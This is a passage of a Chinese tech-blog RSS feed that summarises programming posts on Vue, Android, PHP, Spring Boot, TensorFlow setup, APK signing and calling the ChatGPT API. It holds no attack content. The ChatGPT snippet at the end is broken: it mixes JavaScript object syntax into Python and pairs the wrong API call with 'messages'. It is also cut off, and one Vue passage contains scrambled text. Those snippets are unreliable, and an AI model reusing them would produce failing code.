      <link>https://bchobby.github.io/posts/eba60d50a42986532f5b24803ede2bc9/</link>
      <pubDate>Wed, 23 Aug 2023 09:26:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eba60d50a42986532f5b24803ede2bc9/</guid>
      <description>报错 npm install 报错:code ELIFECYCLE errno 1 This is probably not a problem with npm. There is Vue前端项目用npm install 报错:code ELIFECYCLE errno 1 This is probably not a problem with npm. There is</description>
    </item>
    <item>
      <title>Proteus仿真-三极管，MOS管</title>
      <link>https://bchobby.github.io/posts/d2290ac12deaf361168898175677d98f/</link>
      <pubDate>Tue, 22 Aug 2023 16:14:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2290ac12deaf361168898175677d98f/</guid>
      <description>如图所示 ，左为NMOS管用作下管，高电平导通点亮LED；右为PMOS管用作上管，低电平导通点亮LED。&#xA;如图所示 ，左为NPN型三极管高电平导通点亮LED；右为PNP型三极管低电平导通点亮LED。</description>
    </item>
    <item>
      <title>C语言学习笔记 —— 转换函数</title>
      <link>https://bchobby.github.io/posts/de74b27de00bd58206c1c421beb5eab9/</link>
      <pubDate>Tue, 22 Aug 2023 15:45:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/de74b27de00bd58206c1c421beb5eab9/</guid>
      <description>一、字符串与数值互转 1.1 字符串转数值 1.1.1 字符串转整型 atoi&#xA;头文件：#include&amp;lt;stdlib.h&amp;gt;&#xA;功能把字符串转换成整型数（忽略掉字符串左空格，直到遇上数字或正负符号才开始做转换，而再遇到非数字或字符串结束时(‘\0’)才结束转换）函数定义int atoi(const char *nptr)参数nptr：指向要转换的字符串返回返回转换后的整数值 用法：&#xA;#include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; int main(void) { int n; char *str = &#34;12345.67&#34;; n = atoi(str); printf(&#34;n=%d\n&#34;,n); return 0; } 输出：n = 12345 sscanf&#xA;1.1.2 字符串转长整型 atol&#xA;头文件：#include&amp;lt;stdlib.h&amp;gt;&#xA;功能把字符串转换成长整型数（忽略掉字符串左空格，直到遇上数字或正负符号才开始做转换，而再遇到非数字或字符串结束时(‘\0’)才结束转换）函数定义long atol(const char *nptr)参数nptr：指向要转换的字符串（）返回返回转换后的长整数值 用法：&#xA;#include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; int main(void) { long l; char *str = &#34;98765432&#34;; l = atol(str); /* 原来为l = atol(str); */ printf(&#34;l = %ld\n&#34;, l); return(0); } 输出：l = 98765432 strtol</description>
    </item>
    <item>
      <title>Android入门教程之Activity（生命周期，启动...）</title>
      <link>https://bchobby.github.io/posts/0d367e1607e733ccf4eec61e598faad0/</link>
      <pubDate>Tue, 22 Aug 2023 07:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d367e1607e733ccf4eec61e598faad0/</guid>
      <description>Activity 是一个应用组件，用户可与其提供的屏幕进行交互，以执行拨打电话、拍摄照片、发送电子邮件或查看地图等操作。 每个 Activity 都会获得一个用于绘制其用户界面的窗口。窗口通常会充满屏幕，但也可小于屏幕并浮动在其他窗口之上。&#xA;Activity 1. Activity 的使用 我们新建的工程中带有一个基础 activity。&#xA;新建工程中，需要注意3个文件。&#xA;MainActivity.java 在src/main/java里，对应的包名目录下。activity_main.xml 在res/layout里。AndroidManifest.xml 在src/main里。这里叫做“清单文件”。 这3个文件分布在不同的地方。简单来说，java文件可以控制界面逻辑。 layout文件（这里指的是activity_main.xml）预设了UI如何摆放。 清单文件告诉系统，我这个app有哪些组件，申请了什么权限。&#xA;2. layout - 界面布局 新建的 layout 中，as 一般会默认给一个ConstraintLayout。比如 activity_main.xml。&#xA;activity_main.xml&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;androidx.constraintlayout.widget.ConstraintLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; tools:context=&#34;.MainActivity&#34;&amp;gt; &amp;lt;!-- 省略默认的TextView --&amp;gt; &amp;lt;/androidx.constraintlayout.widget.ConstraintLayout&amp;gt; 这里为了用起来方便，我们把它换成LinearLayout 有的朋友会问，都2021年了，为什么不直接用 ConstraintLayout？&#xA;现在不做什么功能，先用LinearLayout，就是为了方便。 换成LinearLayout后，layout文件长这样。&#xA;换成LinearLayout后的activity_main.xml&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;LinearLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; tools:context=&#34;.MainActivity&#34;&amp;gt; &amp;lt;!-- 省略默认的TextView --&amp;gt; &amp;lt;/LinearLayout&amp;gt; 可以看到，标签的开头和结尾都换成了LinearLayout。其他地方暂时不修改。&#xA;as功能强大，非常便利。我们可以用鼠标选中标签开始的androidx...Layout，然后直接键盘输入LinearLayout的前几位字母。&#xA;as会自动弹出选择框，在里面双击选择LinearLayout或者回车选择，标签就替换完成了。&#xA;3. Java - 控制界面 layout文件设计的是界面的初始布局。它决定了初始界面上放着什么UI组件以及组件是怎么组织安排的。</description>
    </item>
    <item>
      <title>base64格式的图片字符串和图片文件相互转换的代码</title>
      <link>https://bchobby.github.io/posts/5811d8a5e5b9bdb2984b08859a37ab21/</link>
      <pubDate>Mon, 21 Aug 2023 23:00:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5811d8a5e5b9bdb2984b08859a37ab21/</guid>
      <description>在移动端上传图片的时候通常会将图片转换成base64格式的字符串提交，所以此时需要使用服务器端的程序进行转换成二进制的数据。如下PHP代码实现了图片文件和base64格式的图片字符串相互转换的方法，同时保证了图片字符串转图片文件时数据类型的问题，进行了简单的封装，使用时可根据实际情况进行修改。具体查看如下代码：&#xA;class Img { /** @param $base64Str base64格式的图片字符串数据 @param $path 保存的文件路径和文件名(不用带扩展名 自动匹配) */ function base64ToImg($base64Str,$path){ $arr = explode(&#39;,&#39;,$base64Str); $bin = base64_decode($arr[1]); $ext = $this-&amp;gt;getImgExt($bin);//获取真实扩展名 if($ext !== false){ file_put_contents($path . &#39;.&#39; . $ext,$bin); }else{ exit(&#39;图片格式非法&#39;); } } /* 图片文件转base64格式的图片字符串 @param $img_file 图片路径和文件名 return 图片字符串 */ function imgToBase64($img_file){ $img_info = getimagesize($img_file); $img_src = &#34;data:{$img_info[&#39;mime&#39;]};base64,&#34; . base64_encode(file_get_contents($img_file)); return $img_src; } /** 获取图片文件的扩展名 如果不是图片数据则返回false @param $bin 二进制图片数据流 return 图片扩展名 */ public function getImgExt($bin){ $bits = array( &#39;jpg&#39; =&amp;gt; &#34;</description>
    </item>
    <item>
      <title>VUE项目devServer.proxy（正向代理）匹配请求中的地址工作流程</title>
      <link>https://bchobby.github.io/posts/6bf289e67c0c6bc0d6edaf2d16e69921/</link>
      <pubDate>Mon, 21 Aug 2023 19:22:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6bf289e67c0c6bc0d6edaf2d16e69921/</guid>
      <description> 在Vue项目的开发过程中，为了本地调试方便，通常会在vue.config.js 中配置 devServer。在devServer中配置proxy属性，可以将指向本地的请求（例如： http://localhost:8080/api/action） 代理到后端的开发服务器上（例如： http://localhost:8089/personal-management/action）。&#xA;如何理解正向代理：代理服务器代替客户端向服务器发起请求。隐藏客户端。&#xA;发起请求：代理服务器从客户端发出请求，向目标服务器发起请求。&#xA;响应数据：目标服务器响应请求，代理服务器接收请求，并转发给客户端。&#xA;日常使用的翻墙就是基于这个原理。&#xA;devServer: { /** 接口代理 */ proxy: { &#39;/api&#39;: { target: &#39;http://localhost:8089/personal-management&#39;, changeOrigin: true,/** 是否允许跨域 */ ws: false,//是否启用websockets，用不到可设为false pathRewrite: {//对路径匹配到的字符串重写 &#34;^/api&#34;: &#34;&#34;, // 替换前缀&#39;/api&#39;，即：请求到 http://localhost:8080/api/xxx 现在会被代理到请求 http://localhost:8089/personal-management/xxx, 例如 /api/user 现在会被代理到请求 http://localhost:8089/personal-management/user }, } } } 当浏览器发起一个请求后， 前端拿配置项中的地址去匹配请求中的地址，如果请求的地址中包含配置中的地址，则匹配成功，匹配成功后，会将匹配到的地址及其后面的地址拼到target的后面，向后端服务器发起跨域请求。&#xA;举个栗子：&#xA;浏览器发起请求：http://localhost:8080/api/user和配置项匹配成功后，将/api/user拼接到target的后面。现在，对 /api/user 的请求会将请求代理到 http://localhost:8089/personal-management/api/user如果后端接口中不包含/api，不希望传递/api，则需要重写请求路径 将浏览器发起的请求的请求URL中的 “/api” 替换为 “”此时对 http://localhost:8080/api/user 的请求，前端会将请求代理到 http://localhost:8089/personal-management/user </description>
    </item>
    <item>
      <title>时间戳转换年-月-日 时分秒</title>
      <link>https://bchobby.github.io/posts/9acfe9702fc1a4b372003a2a3b22b3ab/</link>
      <pubDate>Mon, 21 Aug 2023 18:52:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9acfe9702fc1a4b372003a2a3b22b3ab/</guid>
      <description>from_unixtime( cast(zd字段 as bigint) /1000 ,&#39;yyyy-MM-dd HH:mm:ss&#39;)</description>
    </item>
    <item>
      <title>springboot&#43;mybatis-plus&#43;redis整合（附上脚手架完整代码）</title>
      <link>https://bchobby.github.io/posts/a5259fb908a1aba63be8af805a843be5/</link>
      <pubDate>Mon, 21 Aug 2023 16:23:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5259fb908a1aba63be8af805a843be5/</guid>
      <description>首先新建一个springboot项目&#xA;next到这里的时候，我们可以选择用jdk几，还有就是Group，这个一般就是com.公司名字了，artifact就是项目名字。个人开发我还是喜欢用com.名字前缀哈。&#xA;到了这一步的话，如果对这个项目有什么别的需求，比如需要用到mybatis啥的可以勾相应的选项。其实就是idea自动帮咱导入相关的依赖。这里我们暂且啥也不勾。写过这么多的项目，咱们自己整合的依赖还是挺香的哈。&#xA;2：导入相关依赖&#xA;可能我比较懒，喜欢用mybatisplus，这些是整合mybatisplus需要的全部依赖，拿来即用哦。&#xA;&amp;lt;!--mybatis-plus和生成器依赖--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.alibaba&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;druid&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.1.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-generator&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.2.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.0.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.velocity&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;velocity-engine-core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.0.11&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.commons&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-lang3&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.8.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.codehaus.groovy&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;groovy&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.4.16&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.codehaus.groovy&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;groovy-all&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.4.7&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.swagger&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;swagger-annotations&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.5.20&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.springfox&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;springfox-schema&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.9.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.18.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 导入运行springboot需要的依赖&#xA;&amp;lt;!--======================================springboot部分=========================--&amp;gt; &amp;lt;!-- log4j2 日志 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-log4j2&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!</description>
    </item>
    <item>
      <title>关于在Vue中使用ref（此.$refs未定义 undefind）</title>
      <link>https://bchobby.github.io/posts/2ae6d100008664a5093a6a2e64f6f492/</link>
      <pubDate>Mon, 21 Aug 2023 15:34:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ae6d100008664a5093a6a2e64f6f492/</guid>
      <description>vue的ref(this.$refs获取为undefined) 如果你获取到的总是空的，你注意一下：&#xA;1.你在哪里调用,和你调用的对象 试试在mounted（）里面调用有效果没有&#xA;调用的对象是本来就存在的，还是需要数据渲染之后才会出现的，同理，在mounted（）里面调用看看&#xA;2.调用对象是不是数组列表 我一开始设置ref在v-for列表上，直接获取this.$refs.name.style，永远是空的，&#xA;后来才发现，this.$refs.name是一个数组，无法通过 .style 获取样式，&#xA;只能遍历这个this.$refs.name数组，在this.$refs.name[index]上设置样式&#xA;// 6.14 更新，这个说法有点问题&#xA;但是像高度宽度，可以通过offsetHeight，等来获取。&#xA;3.调用对象是否和v-if结合使用 ref不是响应式的，所有的动态加载的模板更新它都无法相应的变化。&#xA;解决方案：&#xA;通过&#xA;1&#xA;2&#xA;3&#xA;setTimeout(() =&amp;gt; {&#xA;}, 0)&#xA;来得到数据&#xA;vue的$refs属性几个注意点&#xA;1.在vue中获取dom推荐使用$refs来获取&#xA;可是有时会出现 this.$refs.xxx 为undefined的情况。&#xA;场景1：在created()里使用&#xA;在这个生命周期中进行数据观测 ，属性和方法的运算，watch 事件回调。但是页面还没有挂载上去，没有e l 属 性 ， t h i s . el 属性，this.el属性，this.refs无法调用dom。&#xA;解决办法：换成在mounted()里使用&#xA;场景2：父元素或当前元素使用了v-if或v-show&#xA;因为$refs不是响应式的，只在组件渲染完成后才会生效，在初始渲染的时候是不存在的。&#xA;因为是非响应式的，所有动态加载的模板更新它都无法相应的变化。&#xA;解决办法：可以通过setTimeout(()=&amp;gt;{…}, 0)来实现。&#xA;2.如果使用v-for 遍历加ref时可以使用 ：，即 :ref =&#34;variable&#34; ，这样得到的是不同的ref。&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;&amp;lt;div v-for=&#34;(item,index) in arr&#34; :key=&#34;</description>
    </item>
    <item>
      <title>一套基于C#语言开发的LIMS实验室信息管理系统源码</title>
      <link>https://bchobby.github.io/posts/d742238782483f15ccb445c7e6c361f7/</link>
      <pubDate>Mon, 21 Aug 2023 15:15:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d742238782483f15ccb445c7e6c361f7/</guid>
      <description>实验室信息管理系统（LIMS)是指帮助实验室组织和管理实验数据的计算机软件系统，它将实验室操作有机地组织在一起，以满足实验室工作流程的所有要求。它能以不同的方式支持实验室的工作，从简单的过程(如样品采集和入库)到复杂的流程(如教据报告和实验结果分析)，完全改变实验室的工作流程，使其变得更高效和精确。&#xA;LIMS系统是采用灵活的架构开发的，它实现了完全的集成，可以支持多种软件应用程序和技术，允许实验室以新的方式使用数据以及实施可追溯性和可持续性。&#xA;LIMS包括客户端，服务器和数据库组件，由数据库存储实验数据，服务器运行应用程序或服务，客户端用于人机交互。后端的数据库管理系统(RDBMS) 提供了实验室的基础信息，比如样品质量账户项目，仪器，家庭等。仪器和实验室技术的集成是LIMS的核心功能。这使实验室能够按照实验室的工作流程集成仪器接口和在线分析功能，以便自动将仪器测量结果插入到实验数据库。&#xA;LIMS系统也可以与其他体系结构集成，这使实验室能够将数据发布到外部客户端设备，同时更新内外部数据库。这样，它就可以将实验室中的数据发送到流在控制系统，在实验室中没有用过的样品多次使用，以及为参与供应链管理的实验提供全面的实验数据记录。&#xA;LIMS可以提高实验室管理效率，追踪实验进展，控制实验室主要流程，以及管理实验结果和实验报告。它还可以支持特定的行业标准，以及遵守工业定期审计的要求。&#xA;LIMS的典型应用场景在于实验室，包括学术研究中心和公司实验室，用于实验过程的跟踪，管理和结果分析。它们还可用于相关的行业，如制药，食品，医疗，环境，化学和生物技术等。&#xA;LIMS系统由不同类型的组件构成，包括样品管理，数据管理，实验管理，测试运行，精确性和可重复性，分析日志，统计分析和报表，以及处理，存储和存档全部实验结果等组件。由于LIMS实现了与实验室相关的数据，因此可以支持实验室的可追溯性和实验可重复性。&#xA;LIMS系统功能包括：&#xA;人员管理：人员基本信息/考核记录/工作记录；&#xA;仪器管理：仪器基本信息/仪器应检提醒/仪器期间核查提醒/仪器检定记录/仪器维修保养记录；&#xA;耗材管理：材料、试剂、标准品基本信息管理/出入库管理/最低库存量报警、有效期报警；&#xA;标准品管理：标准品基本信息记录、浓度、不确定度等、标准品使用情况记录，有效期提醒；&#xA;客户管理：文件电子存档、文档预览、文件版本修订；&#xA;文件管理：客户分类，供应商、委托客户等，委托客户可在业务登记时自动保存和更新，业务登记时可关键字直接调用客户信息；&#xA;资源统一管理：把人员、仪器、耗材进行有序管理，检测工作流程化，系统化，便于管理。&#xA;LIMS可以支持多元化的服务，以便实现较高的客户满意度，与现有的实验室系统相比，未集成到LIMS的实验室系统要大量的人力和时间，有时还需要技术支持，这会增加实验室的运行成本，LIMS可以帮助实验室降低操作成本，大大提高工作效率，缩短实验时间，提升实验室的工作质量和客户满意度。</description>
    </item>
    <item>
      <title>AndroidStudio修改生成的apk名称</title>
      <link>https://bchobby.github.io/posts/e4f7943ef6735c744e2cad33322a5df9/</link>
      <pubDate>Mon, 21 Aug 2023 10:12:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4f7943ef6735c744e2cad33322a5df9/</guid>
      <description>使用 AndrodiStudio 编译生成的apk ，如果没有改动，名称一般为 app-debug.apk 或者 app-release.apk ，多个工程都是这个名称的话，不方便辨认。&#xA;AndroidStudio 修改默认生成的 apk 名称，只需要修改 app 的 build.gradle 即可，&#xA;在 android{ } 中添加如下：&#xA;android.applicationVariants.all { variant -&amp;gt; variant.outputs.all { //这里修改apk文件名 outputFileName = &#34;ApkName_${variant.name}_v${variant.versionName}.apk&#34; } } 示例中生成的apk名称为 ApkName_release_v1.0.apk 、 ApkName_debug_v1.0.apk&#xA;多渠道打包、添加时间点修改 static def releaseTime() { return new Date().format(&#34;yyyy_MM_dd_HH.mm&#34;, TimeZone.getTimeZone(&#34;GMT+8&#34;)) } android { .... applicationVariants.all { variant -&amp;gt; variant.outputs.all { outputFileName = &#34;${variant.productFlavors[0].name}_v${variant.productFlavors[0].versionName}_${releaseTime()}.apk&#34; } } } ${variant.productFlavors[0].name} 当前渠道名&#xA;${variant.productFlavors[0].versionName} 当前版本名&#xA;${releaseTime()} 当前时间&#xA;此示例生成 ApkName_v2.0_2020_07_03_16.38.apk</description>
    </item>
    <item>
      <title>APK 加固之后二次签名的问题</title>
      <link>https://bchobby.github.io/posts/46f69baccdc455293322d68835d9c983/</link>
      <pubDate>Mon, 21 Aug 2023 09:43:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46f69baccdc455293322d68835d9c983/</guid>
      <description>JKS 转为 KeyStore&#xA;keytool -importkeystore -srckeystore targe.jks -srcstoretype JKS -deststoretype PKCS12 -destkeystore target.p12&#xA;keytool -v -importkeystore -srckeystore targe.p12 -srcstoretype PKCS12 -destkeystore targe.keystore -deststoretype JKS&#xA;// 加固之后的包重新签名&#xA;keytool -importkeystore -srckeystore /Users/alexander/Desktop/Work/Code/jacf009_jacfaqsc_android/app/jacf.jks -srcstoretype JKS -deststoretype PKCS12 -destkeystore jacf.p12&#xA;keytool -v -importkeystore -srckeystore /Users/alexander/Desktop/Work/Code/jacf009_jacfaqsc_android/app/jacf.p12 -srcstoretype PKCS12 -destkeystore jacf.keystore -deststoretype JKS&#xA;// cd 到指定的目录下当前目录下去签名&#xA;目录为：cd /Users/alexander/Library/Android/sdk/build-tools/29.0.3&#xA;到这个目录下才能使用apksigner&#xA;./apksigner sign --ks jacf.keystore --ks-key-alias jingan --out jscf_signed.apk jacf_unsigned.apk&#xA;记得把对应的unsigned.apk 拷贝进去</description>
    </item>
    <item>
      <title>Anaconda的python虚拟环境中安装cudatoolkit和cudnn加速tensorflow</title>
      <link>https://bchobby.github.io/posts/311d6bf2baef7554e3f13cc716447763/</link>
      <pubDate>Mon, 21 Aug 2023 09:23:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/311d6bf2baef7554e3f13cc716447763/</guid>
      <description>1. 背景 由于本地安装了cuda 10.0, 但是现在需要在Anaconda中安装不同的python虚拟环境来安装tensorflow-gpu、对应的cudatoolkit、对应的cudnn来加速，下面是具体的演示流程&#xA;2. 安装 我这里以安装tensorflow-gpu==1.9.0为例，首先进入python的虚拟环境，source activate py37_tf&#xA;通过&#34;conda search tensorflow-gpu&#34;, 可以看到有满足安装版本要求的tensorflow-gpu&#xA;然后使用清华源安装: pip install tensorflow-gpu==1.9.0 -i Simple Index&#xA;安装成功以后去网络上搜索&#34;tensorflow和GPU的对应关系&#34;&#xA;可以看到需要对应安装cudatoolkit==9.0, 我们在通过命令: &#34;conda search cudatoolkit&#34;来看一下是否有此cudatoolkit的安装包，输入&#34;conda search cudatoolkit&#34;&#xA;发现是有这个cudatoolkit 9.0的，于是执行: conda install cudatoolkit==9.0&#xA;安装成功cudatoolkit之后，需要再安装对应版本的cudnn, 于是通过conda search cudnn查看一下，发现也是有可以安装的版本&#xA;于是执行: conda install cudnn==7.3.1&#xA;则可以安装成功&#xA;上面的tensorflow-gpu、对应的cudatoolkit、对应的cudnn都安装好了之后，需要查看先tensorflow是否支持gpu加速，执行：&#xA;import tensorflow as tf&#xA;tf.test.is_gpu_available()&#xA;发现输出结果为True, 则到此支持GPU加速的tensorflow-gpu安装完毕。&#xA;参考链接：&#xA;【深度学习】不同虚拟环境安装不同Pytorch版本_不同环境安装不同pyorch_视觉闫小亘的博客-CSDN博客</description>
    </item>
    <item>
      <title>微信小程序 echarts 画多个横向柱状图</title>
      <link>https://bchobby.github.io/posts/77022a0c55be2a367005f84481a14acf/</link>
      <pubDate>Mon, 21 Aug 2023 09:07:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77022a0c55be2a367005f84481a14acf/</guid>
      <description>然后是json { &#34;usingComponents&#34;: { &#34;ec-canvas&#34;: &#34;../../common/ec-canvas/ec-canvas&#34; }, &#34;navigationBarTitleText&#34;: &#34;主题活动&#34; } ec-canvas获取方式 在链接里下载代码 然后copy ec-canvas文件夹到自己的项目&#xA;https://gitcode.net/mirrors/ecomfe/echarts-for-weixin?utm_source=csdn_github_accelerator&amp;amp;from_codechina=yeshttps://gitcode.net/mirrors/ecomfe/echarts-for-weixin?utm_source=csdn_github_accelerator&amp;amp;from_codechina=yes&#xA;//js里引入echarts 在page上面 import * as echarts from &#39;../../common/ec-canvas/echarts&#39; Page({...}) getStatisticThemeActivitiesTrend(){ const that = this let oUserInfo = this.data.userInfo util.request(api.statisticThemeActivitiesTrend + oUserInfo.userId + &#39;&amp;amp;startDate=&#39; + that.data.startDate + &#39;&amp;amp;endDate=&#39; + that.data.endDate, &#39;&#39;, &#39;get&#39;).then(res =&amp;gt; { if (res.code == 200) { let odata = res.data this.setData({ info: odata }) if(!odata.themeList || odata.themeList.length == 0){ util.alert(&#34;暂无数据&#34;) return } //主要代码 odata.</description>
    </item>
    <item>
      <title>安装PyCharm2023及配置Python3.8环境</title>
      <link>https://bchobby.github.io/posts/0504da26f704da2cc7cf416035361190/</link>
      <pubDate>Mon, 21 Aug 2023 08:38:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0504da26f704da2cc7cf416035361190/</guid>
      <description>一、Python3.8安装 1、文件下载 官方网址：Python Releases for Windows | Python.org（下载速度较慢）&#xA;下载Win10-Python3.8-64位可执行版本&#xA;2、Python安装 i、双击安装，同时勾选“添加Python3.8至路径”选项&#xA;ii、自定义安装设置&#xA;iii、点击“next”&#xA;iv、更改安装路径（放在自己找得到的路径下），点击“安装”&#xA;v、安装，安装完成后点击“close”结束。&#xA;3、查看是否安装成功 i、点击“开始”，“所有程序”，翻到“Python3.8”文件夹，若出现如下图则安装成功。&#xA;ii、“win+R“调出”运行“，输入”cmd“调出命令提示符，输入”python“，若显示Python版本信息则安装成功。&#xA;iii、可以在命令提示符cmd窗口，直接运行python命令&#xA;iv、也可以在IDLE中以单句指令或文件形式运行&#xA;注 IDLE：Integrated Development and Learning Environment，集成开发和学习环境&#xA;但是该 IDLE功能较少，而“PyCharm”、“Visual Studio Code”功能强大，因此更常用。&#xA;① 单句指令&#xA;② 文件形式&#xA;点击“File”,&#34;New File&#34;创建文件，输入指令，保存并运行。&#xA;运行效果&#xA;二、PyCharm社区版安装 1、文件下载 官方网址：Download PyCharm: Python IDE for Professional Developers by JetBrains&#xA;PyCharm专业版收费，因此下载社区版&#xA;2、PyCharm社区版安装 i、双击安装至自定义路径&#xA;ii、根据需要进行选择（这里全选）&#xA;iii、点击“Install”&#xA;iv、安装中&#xA;v、安装完成&#xA;三、PyCharm中创建项目并运行 1、对PyCharm的中文、字体字号、界面风格等设置 详情请查看笔记“PyCharm初始设置步骤”&#xA;2、创建项目 i、点击“新建项目”，如创建过项目，则点击“打开”；&#xA;ii、绑定系统解释器（初学者先不用虚拟环境）&#xA;iii、选择“系统解释器”，“系统解释器”实为安装的Python3.8&#xA;iv、点击“确定”后界面如下&#xA;iv、点击“创建”后界面&#xA;v、若不习惯界面，可在“IDE和项目设置”进行切换&#xA;3、新建.py文件 i、右键项目，“新建”，“Python文件”&#xA;ii、输入.py文件名称后，弹出Python编辑界面&#xA;iii、输入Python指令</description>
    </item>
    <item>
      <title>分布式架构高可用</title>
      <link>https://bchobby.github.io/posts/d8cad7e7d4ed571a7c43ac4ea3ab8b14/</link>
      <pubDate>Sun, 20 Aug 2023 16:02:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8cad7e7d4ed571a7c43ac4ea3ab8b14/</guid>
      <description> </description>
    </item>
    <item>
      <title>使用Python调用ChatGPT API</title>
      <link>https://bchobby.github.io/posts/0b69b8cb30b4b15f548ffeca4ed885d9/</link>
      <pubDate>Sun, 20 Aug 2023 15:43:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b69b8cb30b4b15f548ffeca4ed885d9/</guid>
      <description>使用Python调用ChatGPT API ChatGPT是一个基于OpenAI的GPT模型的聊天接口。它可以用于构建聊天机器人、智能助手等自然语言处理应用。本文将介绍如何使用Python调用ChatGPT的API，并展示一些示例代码。&#xA;特别注意 GPT会禁止国内IP访问，所以在运行代码的网络环境下必须是非大陆，实测过香港可以，有些国外的地区也是不支持的你想要的答案都在代码和注释里，很详细很清楚 准备工作 在开始之前，您需要完成以下准备工作：&#xA;注册OpenAI账号：访问OpenAI官方网站 openai.com，注册一个账号并登录。&#xA;创建API密钥：登录OpenAI后台，转到&#34;API Keys&#34;页面，在那里您可以创建一个新的API密钥。&#xA;安装OpenAI Python库：打开终端或命令提示符，运行以下命令安装OpenAI Python库：&#xA;pip install openai 获取API密钥：在Python代码中，您需要将OpenAI账号的API密钥作为环境变量传递给OpenAI库。您可以在终端或命令提示符中运行以下命令设置环境变量： export OPENAI_API_KEY=&#39;your-api-key&#39; 调用ChatGPT API 以下是一个使用Python调用ChatGPT API的示例代码：&#xA;import openai # 设置API密钥 openai.api_key = &#39;your-api-key&#39; # 调用ChatGPT API response = openai.Completion.create( model=&#34;gpt-3.5-turbo&#34;,# 还有其他模型如：gpt-3.5-turbo-16k(支持更大输入输出文本)、gpt-4(账号需要付款1美刀以上解锁)、gpt-4-32k(支持更大文本，一般用户无法使用) messages=[{ role: &#39;system&#39;, content: &#39;你是一个数学老师&#39;,{ role: 